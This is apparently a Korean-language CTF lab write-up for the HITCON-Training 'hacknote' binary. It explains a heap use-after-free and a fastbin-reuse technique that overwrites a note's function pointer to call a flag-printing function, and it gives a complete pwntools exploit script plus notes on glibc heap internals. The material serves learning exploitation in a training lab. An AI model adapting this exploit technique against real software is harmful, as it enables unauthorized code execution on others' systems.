문제
hacknote 바이너리의 checksec 결과는 다음과 같다.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
file 명령어 결과는 다음과 같다.
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7cd347eef976fbccc3014a5a14c5a739e514d09, not stripped
바이너리 코드
add_note 함수
for(i=0;i<=4;++i)
(
if(!notelist[i])
notelist[i]=malloc(8u);
...
*notelist[i]=print_note_content;
...
read(0,&buf,8u)
size=atoi(&buf);
v0=notelist[i];
v0[1]=malloc(size);
...
read(0,*((void**)notelist[i]+1),size)
...
++count;
return *MK_FP(__GS__,20)^v5;
)
...
del_note 함수
...
read(0,&buf,4u);
v1=atoi(&buf);
...
if(notelist[v1)
(
free(*((void**)notelist[v1]+1));
free(notelist[v1])
puts("Success")
)
return *MK_FP(__GS__,20)^v3;
print_note 함수
...
read(0,&buf,4u);
v1=atoi(&buf);
...
if(notelist[v1])
(*(void(__cdecl**)(void *))notelist[v1])(notelist[v1]);
return *MK_FP(__GS__,20)^v3;
del_note를 통해서 free을 한 heap 영역을 print_note를 통해서 사용할 수 있기 때문에 use after free 취약점이 존재한다.
또한 해당 바이너리에는
return system("cat /home/hacknote/flag")
를 호출하는 magic 함수가 존재한다.
exploit 방법
- add_note 함수 호출을 통해서 16byte 공간을 할당받고 해당 주소를 notelist[0]에 저장한다. 그리고 read 함수의 인자로 16보다 더 큰 값을 넣어줘서 16byte 보다 더 큰 공간을 할당받는다.
- 1번과 동일한 행위를 반복해서 notelist[1]에 16바이트 공간의 주소를 저장한다.
- del_note 함수 호출을 통해서 0번 notelist를 free한다. 그 결과 16바이트 fastbin list에 notelist[0]에 저장된 주소의 영역이 들어간다.
- 3번과 동일한 행위를 반복하면 fastbin list에 notelist[1]에 저장된 주소의 영역이 들어간다.
- add_note를 함수를 호출하면 fastbin은 LIFO 구조이기 때문에 notelist[3]에 notelist[1]에 저장된 주소가 할당된다. 그리고 read 함수의 인자로 8을 주면 (notelist[3]+1)에 notelist[0]에 저장된 주소가 할당된다. 그 다음 호출되는 read 함수를 통해서 *(notelist[0])에 magic 함수의 주소를 넣는다.
- print_note 함수를 통해서
(*(void(__cdecl **)(void *))notelist[0])(notelist[0])
를 실행하면 magic 함수를 호출할 수 있다.
풀이
#!/usr/bin/python
from pwn import *
def add_note(num,pay):
p.recvuntil("choice :")
p.send("1")
p.recvuntil("Note size :")
p.send(str(num))
p.recvuntil("Content :")
p.send(pay)
def del_note(num):
p.recvuntil("choice :")
p.send("2")
p.recvuntil("Index :")
p.send(str(num))
p.recvuntil("Success\n")
def print_note(num):
p.recvuntil("choice :")
p.send("3")
p.recvuntil("Index :")
p.send(str(num))
file_path="/home/sungyun/HITCON-Training/LAB/lab10/hacknote"
p=process(file_path)
magic_system=0x08048986
add_note(20,"hi_3ffr3s")
add_note(20,"hi_3ffr3s")
del_note(0)
del_note(1)
add_note(8,p32(magic_system))
print_note(0)
print p.recvline()
알게 된 것
-
fastbin은 같은 크기의 chunk들이 single-linked list 구조로 연결되어 있고 LIFO 구조이다. 또한 인접한 chunk와 병합되지 않는다. (fastbin이 아닌 다른 chunk들은 인접한 서로 다른 두 chunk가 free되면 병합된다. top chunk와 인접한 chunk도 병합됨) gdb에서 global_max_fast의 값을 통해 fastbin의 크기를 확인할 수 있다.
-
prev_inuse이 비트는 앞에 위치한 chunk가 free되면 0으로 세팅된다. (fastbin은 prev_inuse 비트를 사용하지 않는다.)
-
free하면 fd/bk (fastbin은 fd만) 주소 값으로 data 영역을 덮어쓴다. 가리킬 곳이 없으면 NULL이 들어간다.